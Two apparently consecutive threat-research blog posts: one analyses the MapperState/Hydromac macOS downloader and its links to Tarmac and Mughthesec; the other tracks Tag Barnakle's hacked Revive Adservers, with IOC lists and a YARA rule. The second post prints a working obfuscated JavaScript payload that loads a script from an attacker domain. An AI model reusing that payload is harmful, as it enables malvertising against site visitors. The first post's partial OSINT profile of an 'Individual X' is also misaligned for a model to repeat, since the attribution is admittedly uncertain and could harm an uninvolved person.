I recall, a couple of weeks after we’ve published OSX/Tarmac blogpost, new variants of OSX/Tarmac started re-surfacing implementing a trick rendering our previous decryption tools useless. MapperState is a continuation of the slowing-analysis tricks OSX/Tarmac authors use.

MapperState Analysis

Persistence

Usually OSX/Tarmac has been dropping a legit copy of Adobe Flash Player as we reported before. This time, an unknown malware with the following sha-256:

919d049d5490adaaed70169ddd0537bfa2018a572e93b19801cf245f7fd28408

was downloaded and persisted in the location below, and installed as a launch daemon, the file to be executed at RunAtLoad is called MapperState.system:

com.MapperState.system.plist in LaunchDaemons

At the time of writing this unknown sample isn’t in VirusTotal, and we uploaded it right after the publication of this blog.

String Decryption

This sample contains about 943 functions, debug symbols stripped, no identifiable strings or known encryption algorithm used. The only give-away of functionality is the imported functions. In fact, if we see a popen() or a _CFHTTPMessageSetBody () we know that this malware will create a process, or will connect via HTTP to a C2 server respectively. only that arguments passed to these function are encrypted and hidden deeply in the malware functionality that only executes in a specific state of the runtime.

Debugging this malware won’t cover all the malware functionality. We are left with the string decryption to get a real understanding of what this malware does. This is known by the malware authors, and this is where malware authors invested all their efforts to obfuscate the functionality.

MapperState authors used a very confusing method to encrypt their strings to slow down our analysis. Below a block of code, copied and pasted 198 times (as many as strings to decrypt). This is a classic slow-debugging technique, meaning if we had only one function decrypting all the strings setting a breakpoint in this function will suffice. but now we have 198 blocks were we should put breakpoints, and that’s not an option anymore. we have seen this exact same slow-debugging technique used in new version of OSX/Tarmac as well.

This block of code is responsible for string decryption and makes a heavy usage of SSE instructions. The encrypted String is stored in the variable unk_100051700 , the decoded string is “00000000–0000–0000–0000–00000000000” a string written by our IDAPython decoder script that we will talk about shortly.

MapperState string decryption routine

After investigation it seems the encrypted strings are referenced in the form of unk_ variables (as IDA Pro isn’t sure what type this is), and there’s always an integer value copied to edx that represent the encrypted string length.

In other words this block always takes two changing parameters, and we will use IDA Pro unk_ type to locate all these strings.

Rewriting the decryption routine in Python would take us a lot of time, so we decided to emulate this block, and decrypt all the strings while extracting them on the fly (taking into account the always changing length variable).

The full source code IDAPython script can be found here.

It is important to note, that we faced two difficulty with emulation. The encryption block calls some macOS APIs and those are not emulated by Unicorn Engine. so we have to emulate them as well.

Mainly we added soft hooks on the following functions:

soft hooks

we only focused on emulating the memcpy and the new() operator the rest of the hooks we just skipped the library call.

below a quick and dirty implementation for memcpy:

memcpy implementation in Unicorn Engine

and for new() operator:

new() operator implementation in Unicorn Engine

Then once we were able to emulate the decryption code block entirely, we then focused our efforts on locating the _unk strings directly in the _text section:

find_encrypted_strings looks for the tag : “_unk”

Finally, we needed to get the changing length of the string (the value passed to edx). This string length is not always after the _unk parameter, it is sometimes instructions before, or after, as we can see in the blow assembly snippets:

mov edx,x instruction positioning

So we wrote a function that will scan forward then backward of this value, 0x30 bytes each time:

scanning for mov edx, x

All the pieces glued together, we can run the IDAPython script, that will emulate the decryption blocks for us, with each time passing a different encrypted string and its length, below is the script output:

part of the strings decrypted

Full list of the decryption strings can be found here.

Malware features

MapperState have the capability to download and execute other programs it seems to be a simple downloader for another malware.

It is worth noting that this malware is checking for installed AVs:

part of the decrypted strings

We didn’t get to the point to see what this malware downloads, as the C2 server was replying with empty content. but we will keep hunting.

Early Attribution

Around September 2019 when we revealed and analyzed OSX/Tarmac, the malware name we chose wasn’t random. After decrypting OSX/Tarmac strings and searching for them on the internet, we found an interesting flashcards app, that was publicly exposing OSX/Tarmac Agent, Command And Controls commands.

The commands we found in our sample, 100% matched the commands listed in the flash cards app. In fact, this is where the name Tarmac originally came from. Below are one of the flashcards of the Tarmac malware:

Tarmac Messages, documented in a Flash cards app

The account disclosing this information of the flashcards app, will be referred to as Individual X. Based on the OSINT info, it seems that Individual X is living somewhere in San Diego, CA , and have registered a domain name Y, using what looks like a personal gmail account. Furthermore, the individual X have a Github account, with the same handle and same profile photo as in the flashcards app account. Most of the repos are related to web development:

Individual X, github account

Another finding while looking at other flashcards published by the same Individual X, revealed another malware dubbed Hydromac:

Tarmac and Hydromac Flashcards

Looking at Hydromac messages flashcards, we found the exact commands in our MapperState sample! see listed below, as an example the command HM_RA_Download_Started_1 (HM referring to Hydromac) that we decrypted from the sample are listed in the Flashcards app published by Individual X:

Another command HM_RA_Init_1 sent from MapperState. This time we dumped it from the debugger to confirm that it was really sent to the C2. We do this as sometimes malware contains random strings that are not even used. below is MapperState HM_RA_Init_1 command before it get encrypted and sent to the C2 server:

MapperState C2 traffic decrypted

This command HM_RA_Init_1 is listed in the flashcard app for Hydromac:

Hydromac Messages

So did we finally found Hydromac ? The answer is yes and no. The sample we found (MapperState) is actually a Hydromac Root Agent (referred to as HM_RA_XXX) in the flashcard apps, doesn’t have all the commands listed in the Hydromac Flashcards app, but only initial commands referring to downloading and executing other binaries.

Beside the Hydromac Root Agent that we found, there’s a Hydromac Agent and a Hydromac Agent Plugin (based on the Flashcards app leaks). Writing a simple yara rule, helped us locating some Hydromac components, in an online malware repository.

This rule will look for anything related to Hydromac Root Agent, Hydromac Agent or Hydromac Plugin, components:

rule CFNT_HYDROMAC_COMPONENTS
{
meta:
author = “taha@confiant.com”strings:
$a = “HM_A_Init_1”
$b = “HM_A_Init_1” wide ascii
$c = “HM_RA_Init_1”
$d = “HM_RA_Init_1” wide ascii
$e = “HM_A_P_Init_1”
$f = “HM_A_P_Init_1” wide asciicondition:
    ($a) or ($b) or ($c) or ($d) or ($e) or ($f)
}

At the time when we did a retro hunt, it gave us a single hit, which was a Hydromac Agent, and with all debug symbols:

7f7c7e1b181142592b2f8b7c823a969fb79160c9a5920abd718364eae98d1496

Hydromac Agent sample strings dump

Interestingly, among the strings, I found that this Hydromac Agent, communicated with a known C2 server: api[.]mughthesec.com

Hydromac Agent sample C2 server

This C2 server has been the C2 for a famous malware dubbed Mughthesec (originally reported in 2017, by macOS security Expert Patrick Wardle).

This got me intrigued. I went to check Mughthesec and found that Mughthesec contains the OSX/Tarmac agent commands: (TRMC_XXX referring to Tarmac) as we can see below (string dump):

Original Mughthesec sample 9c4f74feff131fa93dd04175795f334649ee91ad7fce11dc661231254e1ebd84

We also reported about the commands above, in the previous OSX/Tarmac sample analysis we published in 2019.

The information to retain here, is the Hydromac Agent we found, and the previous Mughthesec from 2017, and the recent Hydromac Root Agent (MapperState) are related and were used in real malware campaigns through malvertising affiliates.

This is based on the overlap we found in the payloads, and the C2 servers and the key information leaked from the Flashcards app and the malveritising campaigns that we track delivering both OSX/Tarmac, and now OSX/Hydromac.

In other words, the information present in the Flashcards app is legit and corresponds to real malware that is found in the wild.

One could believe that Individual X, did what we call in our Cyber Security jargon, an Operational security (OPSEC) mistake: by disclosing a name, photo ID, personal email and probably an indication of a physical address, though we are not sure.

It is interesting to note, Individual X is linked to a questionable organization called “CashwithFB”, based on wayback machine, and old forums posts from 2017, it seems this company runs ads campaigns from other people’s Facebook ads accounts, by renting them and help the subscribers to “make at least 50$ in 2 days and up to $100 in a week”. A classic.

Side note: CashWithFB run the ads relying on victims IP addresses used to logging into facebook . This is done by using a remote desktop software called Splashtop:

CashWithFB advertising

Whether Individual X is related to HydroMac flashcards, or the malware itself is unclear, though we noticed suspicious links between Individual X and the classic malvertising schemes operated by companies in the US.

The malvertising links, Tarmac/Hydromac being a malware dropped through Malvertising, Web developement skills, flashcards apps describing malware commands, numerous Opsec mistakes, make us believe that Individual X might be linked to malvertising affiliates. A relationship though which we are not 100% sure, and we will leave this individual level attribution to more competent organizations.

Conclusion

To close this chapter, it is worth noting that this is not the first time critical information is leaked via Flashcards apps, interestingly this week Bellingcat has reported that US Soldiers exposed Nuclear Weapons Secrets via Flashcard Apps, as they were using them for learning purposes.

The usage of Flashcard apps might be used for training purposes? Or could Individual X be only one member of a larger organization? We do not know but we will keep hunting.

Tag Barnakle One Year Later: 120+ More Revive Adserver Hacks

Confiant — Mon, 19 Apr 2021 19:55:00 GMT

Photo via Unsplash.com

A year ago, we published a comprehensive disclosure that introduced Tag Barnakle, a threat actor whose specialty is the mass compromise of Revive Adserver instances.

Today, we will reflect on Tag Barnakle activity over the last year to see if our disclosure inspired any changes to their modus operandi or led to a pullback as a result of increased scrutiny (spoiler alert: it didn’t).

Refresher — What Makes Tag Barnakle Unique?

Most malvertising groups, sophisticated or not, approach their task by infiltrating the advertising technology ecosystem as media buyers. Regardless of how much technical prowess they might bring to their infrastructure with regards to fingerprinting, cloaking, delivery, and persistence — for malvertisers, everything tends to begin with biz dev and a deep understanding of the industry they want to penetrate.

This usually involves making a concerted effort to establish convincing personas as ad tech insiders so that large advertising platforms will take their business without much additional scrutiny.

Tag Barnakle on the other hand, is able to bypass this initial hurdle completely by going straight for the jugular — mass compromise of ad serving infrastructure. Likely, they’re also able to boast an ROI that would eclipse their rivals as they don’t need to spend a dime to run ad campaigns.

The Aftermath From Our Initial Disclosure

The response to our Tag Barnakle disclosure from last April was loud and widespread. Our blog post was picked up by the likes of ZDNet, BleepingComputer, and quickly syndicated among dozens of smaller tech publications, blogs, and the ad tech community at large:

Hackers have breached 60 ad servers to load their own malicious ads | ZDNet

Revive ad servers being hacked to distribute malicious ads

Response to report about outdated Revive Adserver installations being compromised

General Response To Recent Articles Alleging Malware On the Propeller Ads Network

This is all to say that, if the world didn’t know about this threat actor before, they sure know about them now, but rather than curtail their activity in light of the attention, Tag Barnakle has all but doubled down.

In addition, in spite of the defensive posturing from the parties involved, we stand by our prior research and assessment.

Tag Barnakle Today — A Pivot Towards Mobile

Over the last 12 months, we’ve identified over 120 revive instances that bear attribution markers of Tag Barnakle related compromise with many still impacted today.

The overall pattern looks something like this:

Hacked Revive Adserver → Malicious Payload → 
Client-side Fingerprinting → Server-side Cloaking → 
Secondary Payload → Propeller Ads

The initial payload that’s appended to the hacked Revive Adserver’s banners is a familiar “Javascript-Obfuscator” style mess:

The UserAgent is matched against the following regular expression in one of the client-side fingerprinting conditions:

“android|iPad|iPhone|iPod”

This shows us that Tag Barnakle is now pushing mobile targeted campaigns, whereas last year they were happy to take on desktop traffic.

The payload performs a client-side fingerprinting check and posts the fingerprint back to an attacker controlled server to request follow-up Javascript to execute.

Key components when it comes to Tag Barnakle’s targeting criteria include a WebGL debug parameters that are consistent with mobile devices.

In our case (Android) we passed their check with the following:

Unmasked Vendor = ARM

Unmasked Renderer = Mali-G71

The packed fingerprint url looks like this:

https://galikos[.]com/ci.html?mAn8iynQtt=SW50ZWwgSqW5jPngyMEludGVsKFIpIElyaXMoVE0OIFBsdXMgR3J3cGhpY37gNjU1

If the check fails server-side, no code is returned, but in the event that the targeting and the parameters align, we get the next stage:

var _0x209b=[”charCodeAt”,”fromCharCode”,”atob”,”length”];(function(_0x58f22e,_0x209b77){var _0x3a54d6=function(_0x562d16){while(--_0x562d16){_0x58f22e[”push”](_0x58f22e[”shift”]());}};_0x3a54d6(++_0x209b77);}(_0x209b,0x1d9));var _0x3a54=function(_0x58f22e,_0x209b77){_0x58f22e=_0x58f22e-0x0;var _0x3a54d6=_0x209b[_0x58f22e];return _0x3a54d6;};function pr7IbU3HZp6(_0x2df7f1,_0x4ed28f){var _0x40b1c0=[],_0xfa98e6=0x0,_0x1d2d3f,_0x4daddb=”“;for(var _0xaefdd9=0x0;_0xaefdd9<0x100;_0xaefdd9++){_0x40b1c0[_0xaefdd9]=_0xaefdd9;}for(_0xaefdd9=0x0;_0xaefdd9<0x100;_0xaefdd9++){_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9]+_0x4ed28f[”charCodeAt”](_0xaefdd9%_0x4ed28f[_0x3a54(”0x2”)]))%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f;}_0xaefdd9=0x0,_0xfa98e6=0x0;for(var _0x2bdf25=0x0;_0x2bdf25<_0x2df7f1[_0x3a54(”0x2”)];_0x2bdf25++){_0xaefdd9=(_0xaefdd9+0x1)%0x100,_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9])%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f,_0x4daddb+=String[_0x3a54(”0x0”)](_0x2df7f1[_0x3a54(”0x3”)](_0x2bdf25)^_0x40b1c0[(_0x40b1c0[_0xaefdd9]+_0x40b1c0[_0xfa98e6])%0x100]);}return _0x4daddb;}function fCp5tRneHK(_0x2deb18){var _0x3d61b2=”“;try{_0x3d61b2=window[_0x3a54(”0x1”)](_0x2deb18);}catch(_0x4b0a86){}return _0x3d61b2;};var qIxFjKSY6BVD = [”Bm2CdEOGUagaqnegJWgXyDAnxs1BSQNre5yS6AKl2Hb2j0+gF6iL1n4VxdNf+D0/”,”DWuTZUTZO+sQsXe8Ng==”,”j6nfa3m”,”Y0d83rLB”,”Y0F69rbB65Ug6d9y”,”gYTeJruwFuW”,”n3j6Vw==”,”n2TyRkwJoyYulkipRrYr”,”dFCGtizS”,”yPnc”,”2vvPcUEpsBZhStE=”,”gfDZYmHUEBxRWrw4M”];var aBdDGL0KZhomY5Zl = document[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[1]), qIxFjKSY6BVD[2])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[3]), qIxFjKSY6BVD[5]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[6]), qIxFjKSY6BVD[8]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[7]), qIxFjKSY6BVD[8]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[9]), qIxFjKSY6BVD[11]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[0]), qIxFjKSY6BVD[2]));var bundle = document.body||document.documentElement;bundle[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[10]), qIxFjKSY6BVD[11])](aBdDGL0KZhomY5Zl);

If we de-obfuscate, we see the familiar call to Propeller Ads:

var aBdDGL0KZhomY5Zl = document[”createElement”](”script”);
aBdDGL0KZhomY5Zl[”setAtrribute”](”text/javascript”);
aBdDGL0KZhomY5Zl[”setAtrribute”](”src”, “https://overgalladean[.]com/apu.php?zoneid=2721667”);

The Payload

We replayed the Propeller Ads click tracker on the kind of devices Tag Barnakle are targeting in order to get an idea of the campaigns that victims are being exposed to.

These scams should look very familiar to anyone who has been exposed to malvertising in the past.

Most of these campaigns are going to lure the victim to the app store listing for obscure Security / Safety / VPN apps that are loaded with hidden subscription costs or siphon off traffic for nefarious ends.

Impact & Reach

It’s incredibly difficult to calculate the full reach of Tag Barnakle’s malvertisements. The compromises seem to impact some moderately trafficked publishers and plenty of long-tail websites, however the list includes a sizable amount of ad platforms and media companies that have built their technical stack on Revive.

If we consider that some of these media companies have RTB integrations with leading programmatic advertising platforms, Tag Barnakle’s reach is easily in the tens if not hundreds of millions of devices. This is a conservative estimate that takes into consideration the fact that they cookie their victims in order to reveal the payload with low frequency, likely to slow down detection of their presence.

IOCs — Compromised Revive Adservers (April 2020 — April 2021)

ads.a2epub.com
ads.fakulteti.mk
ads.latinongroup.com
ads.mygc.com.au
ads.performanceracing.com
ads.tcsemotion.com
ads.veterinaren.nu
ads2.focus-news.net
asianmedia.com
engagement.sandesh.com
england365.gr
mtrck.info
p.posventa.info
ac24horas.com
ad.aniu.tv
ad.investmap.pl
ad.mds.lv
ad.zfk.de
admanager.uptodown.com
ads.4x4brasil.com.br
ads.adsolut.in
ads.baotainguyenmoitruong.vn
ads.catmedia.cat
ads.citymagazine.rs
ads.ck101.com
ads.d3corp.com
ads.diariodehuelva.es
ads.directa.cat
ads.easyodds.com
ads.ejz.de
ads.elperiodic.ad
ads.eltemps.cat
ads.femmexpat.net
ads.gogovest.com
ads.inselradio.com
ads.kafepauza.mk
ads.khoahocdoisong.vn
ads.motorgraph.com
ads.newsbook.com.mt
ads.press24.mk
ads.republica.com.uy
ads.samartdigitalmedia.com
ads.shasha.ps
ads.tirabol.cat
ads.tuniscope.com
ads.tvh.no
ads.uh.ro
ads.urgente24.com
ads.warrelics.eu
ads.zilesinopti.ro
ads1.knxs.net
ads2.epsilonnet.gr
ads2.jenite.bg
ads5.matichon.co.th
adserv.emh.ch
adserver.automobilwoche.de
adserver.desnivel.com
adserver.diariodosertao.com.br
adserver.greeners.co
adserver.krankenkassennetz.de
adserver.lasiciliaweb.it
adserver.lenouvelliste.com
adserver.logisticaprofesional.com
adserver.maispb.com.br
adserver.nearby.cz
adserver.polemicaparaiba.com.br
adserver.wolterskluwer.pl
adserverhd.com
adstdg.net
adv2.grupopreferente.com
adx.ephoto.sk
artduomo.es
asap.sindikata.org
ba1.groupgti.com
banner.bauernverlag.de
banners.evoluhcion.es
comercial.megafin.pt
d.otaserve.net
ittnads.advantagegroup.ie
kampane.virtualstudio.sk
lakewoodmediagroup.net
leadz01.isn.nl
miranda.bounced.de
murciaeconomia.folioserver.com
ngex.com
openx.jawharafm.net
openx.mediatrust.de
openx.mondiale.co.uk
ox.ghanasoccernet.com
pub.macommune.info
pub.naiz.eus
pubs2.latinspots.com
reklama.silnet.pl
rev.contractoruk.com
revive.agenda.ge
revive.bdnews24.com
revive.saechsische-schweiz.de
revive.theaterkrant.nl
revive.thebusinessjournal.com
revive.unizo.be
row.volksstimme.de
sbplus.hr
services.albiladpress.com
skyrisecities.com
ssp.putaojiu.com
theleader.info
treehouse.wwoz.org
urbantoronto.ca
visualise.click
wer.schwarzwaelder-bote.de
www.4x4brasil.com.br
www.actuabd.com
www.bioverlag-online.de
www.drumcorpsplanet.com
www.ecofinads.com
www.manga-news.com
www.miciudadreal.es
www.pivata.net
www.porovname.cz
www.rcommunications.com
www.styledrops.hu
www.webkamery-krkonose.cz
www3.convergenciadigital.com.br

IOCs — Tag Barnakle Fingerprinting Domains

tucanastar.com
topwindstar.com
line2lime.com
adbigline.network
reticulumlyn.com
bibugal.network
hoshiwa.com
wetral.com
galikos.com